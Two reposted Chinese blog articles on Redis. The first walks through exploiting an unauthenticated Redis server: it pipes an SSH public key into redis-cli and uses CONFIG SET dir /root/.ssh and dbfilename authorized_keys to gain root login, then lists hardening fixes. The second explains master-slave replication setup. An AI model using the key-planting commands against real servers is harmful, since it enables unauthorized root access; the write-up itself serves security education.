【转】详解Redis数据库配置不当遭恶意入侵过程

Redis数据库简介
Redis(REmote DIctionary Server)是一款开源、支持网络、基于内存的高级键值对(Key-Value)存储数据库,其使用C语言编写实现。Redis通常被称为数据结构服务器,因为数据库中键(Key)的值(Value)可以是字符串、哈希表、列表、集合、有序集合等各种数据结构。
Redis是内存数据库,因为其将全部的数据都存储在内存之中,传统的数据库如MySQL、SQLite等都是磁盘数据库(数据存储在磁盘上)。在关闭Redis之前,应当对内存中的数据进行备份,否则数据会丢失,不过,Redis支持定期自动备份内存中的数据到磁盘上。
Redis是非关系型数据库,即NoSQL(Not Only SQL)。其数据存储不需要固定的表格模式,不使用SQL作为查询语言。

ssh-keygen
ssh-keygen命令用于为“ssh”生成、管理和转换认证密钥

redis 未授权访问
redis 以前就被曝未授权访问,redis 默认情况下,没有配置登陆密码,任意用户可以登录,造成数据泄露,通过进一步操作还可以拿到webshell。不懂得可以去这里学习下,有配套的实验环境和挺详细的指导书。
Redis数据库安全攻防实践

最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵。
下面我来简单演示下
首先在攻击机上直接连接被攻击机,可以看到是需要密码的。

下面我们通过redis 未授权访问来拿到目标机的root权限。
我们先在攻击机生成一个公钥。

我们可以在~/.ssh 目录下看到生成的公钥和私钥文件

我们只要把生成的公钥文件传到其他机器的~/.ssh/目录下并且重命名为authorized_keys(默认的是这个文件,可以在/etc/ssh/sshd_config里修改),那么就可以不需要root 也能登陆目标机器了。
我们这里利用redis 的未授权访问来达到目的。
我们先把公钥保存txt 文件里

在前后加入两个回车,是为了我们的公钥在被写入目标机器的authorized_keys文件时是在新的一行以保证写入的公钥文件有效。
执行以下命令
cat test.txt | redis-cli -h 10.1.1.94 -x set redis

然后登陆redis,执行以下命令
CONFIG SET dir /root/.ssh/? ? ? ? ? ? ? ? 设置备份路径为/root/.ssh/
CONFIG SET dbfilename “authorized_keys” //设置备份文件名为authorized_keys
Save? ? ? ? //保存数据到磁盘


这样就可以用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆。

漏洞修复
1、指定redis服务使用的网卡
在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问redis。

2、设置访问密码
在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码。

3、修改redis服务运行账号
请以较低权限账号运行redis服务,且禁用该账号的登录权限。

注意:redis 需要重启生效。

【转】Redis学习手册(主从复制)

一、Redis的Replication:

这里首先需要说明的是,在Redis中配置Master-Slave模式真是太简单了。相信在阅读完这篇Blog之后你也可以轻松做到。这里我们还是先列出一些理论性的知识,后面给出实际操作的案例。
下面的列表清楚的解释了Redis Replication的特点和优势。
1). 同一个Master可以同步多个Slaves。
2). Slave同样可以接受其它Slaves的连接和同步请求,这样可以有效的分载Master的同步压力。因此我们可以将Redis的Replication架构视为图结构。
3). Master Server是以非阻塞的方式为Slaves提供服务。所以在Master-Slave同步期间,客户端仍然可以提交查询或修改请求。
4). Slave Server同样是以非阻塞的方式完成数据同步。在同步期间,如果有客户端提交查询请求,Redis则返回同步之前的数据。
5). 为了分载Master的读操作压力,Slave服务器可以为客户端提供只读操作的服务,写服务仍然必须由Master来完成。即便如此,系统的伸缩性还是得到了很大的提高。
6). Master可以将数据保存操作交给Slaves完成,从而避免了在Master中要有独立的进程来完成此操作。

二、Replication的工作原理:

在Slave启动并连接到Master之后,它将主动发送一个SYNC命令。此后Master将启动后台存盘进程,同时收集所有接收到的用于修改数据集的命令,在后台进程执行完毕后,Master将传送整个数据库文件到Slave,以完成一次完全同步。而Slave服务器在接收到数据库文件数据之后将其存盘并加载到内存中。此后,Master继续将所有已经收集到的修改命令,和新的修改命令依次传送给Slaves,Slave将在本次执行这些数据修改命令,从而达到最终的数据同步。
如果Master和Slave之间的链接出现断连现象,Slave可以自动重连Master,但是在连接成功之后,一次完全同步将被自动执行。

三、如何配置Replication:

见如下步骤:
1). 同时启动两个Redis服务器,可以考虑在同一台机器上启动两个Redis服务器,分别监听不同的端口,如6379和6380。
2). 在Slave服务器上执行一下命令:
?/> redis-cli -p 6380?? #这里我们假设Slave的端口号是6380
redis 127.0.0.1:6380> slaveof 127.0.0.1 6379 #我们假设Master和Slave在同一台主机,Master的端口为6379
OK
上面的方式只是保证了在执行slaveof命令之后,redis_6380成为了redis_6379的slave,一旦服务(redis_6380)重新启动之后,他们之间的复制关系将终止。
如果希望长期保证这两个服务器之间的Replication关系,可以在redis_6380的配置文件中做如下修改:
/> cd /etc/redis? #切换Redis服务器配置文件所在的目录。
/> ls
6379.conf? 6380.conf
/> vi 6380.conf

?? ?# slaveof <masterip> <masterport>
改为
?? ?slaveof 127.0.0.1 6379
保存退出。

详细配置项说明:

slaveof <masterip> <masterport>

slave实例需要配置该项,指向master的(ip, port)

masterauth <master-password>

如果master实例启用了密码保护,则该配置项需填master的启动密码;若master未启用密码,该配置项需要注释掉

slave-serve-stale-data

指定slave与master连接中断时的动作。默认为yes,表明slave会继续应答来自client的请求,但这些数据可能已经过期(因为连接中断导致无法从master同步)

若配置为no,则slave除正常应答"INFO""SLAVEOF"命令外,其余来自客户端的请求命令均会得到"SYNC with master in progress"的应答,

直到该slave与master的连接重建成功或该slave被提升为master。

slave-read-only

指定slave是否只读,默认为yes。若配置为no,这表示slave是可写的,但写的内容在主从同步完成后会被删掉

repl-ping-slave-period

Redis部署为Replication模式后,slave会以预定周期(默认10s)发PING包给master,该配置可以更改这个默认周期

repl-timeout

有2种情况的超时均由该配置指定:1) Bulk transfer I/O timeout; 2) master data or ping response timeout

需要特别注意的是:若修改默认值,则用户输入的值必须大于repl-ping-slave-period的配置值,否则在主从链路延时较高时,会频繁timeout

repl-disable-tcp-nodelay

指定向slave同步数据时,是否禁用socket的NO_DELAY选项。

若配置为yes,则禁用NO_DELAY,则TCP协议栈会合并小包统一发送,这样可以减少主从节点间的包数量并节省带宽,但会增加数据同步到slave的时间

若配置为no,表明启用NO_DELAY,则TCP协议栈不会延迟小包的发送时机,这样数据同步的延时会减少,但需要更大的带宽

通常情况下,应该配置为no以降低同步延时,但在主从节点间网络负载已经很高的情况下,可以配置为yes

备注:socket的NO_DELAY选项涉及到TCP协议栈的拥塞控制算法—Nagle's Algorithm

slave-priority

指定slave的优先级。在不只1个slave存在的部署环境下,当master宕机时,Redis Sentinel会将priority值最小的slave提升为master

需要注意的是,若该配置项为0,则对应的slave永远不会被Redis Sentinel自动提升为master

这样就可以保证Redis_6380服务程序在每次启动后都会主动建立与Redis_6379的Replication连接了。

四、应用示例:

这里我们假设Master-Slave已经建立。
?? ?#启动master服务器。
[root@Stephen-PC redis]# redis-cli -p 6379
redis 127.0.0.1:6379>
?? ?#清空Master当前数据库中的所有Keys。
redis 127.0.0.1:6379> flushdb
OK
?? ?#在Master中创建新的Keys作为测试数据。
redis 127.0.0.1:6379> set mykey hello
OK
redis 127.0.0.1:6379> set mykey2 world
OK
?? ?#查看Master中存在哪些Keys。
redis 127.0.0.1:6379> keys *
1) “mykey”
2) “mykey2”

?? ?#启动slave服务器。
[root@Stephen-PC redis]# redis-cli -p 6380
?? ?#查看Slave中的Keys是否和Master中一致,从结果看,他们是相等的。
redis 127.0.0.1:6380> keys *
1) “mykey”
2) “mykey2”

?? ?#在Master中删除其中一个测试Key,并查看删除后的结果。
redis 127.0.0.1:6379> del mykey2
(integer) 1
redis 127.0.0.1:6379> keys *
1) “mykey”

?? ?#在Slave中查看是否mykey2也已经在Slave中被删除。
redis 127.0.0.1:6380> keys *
1) “mykey”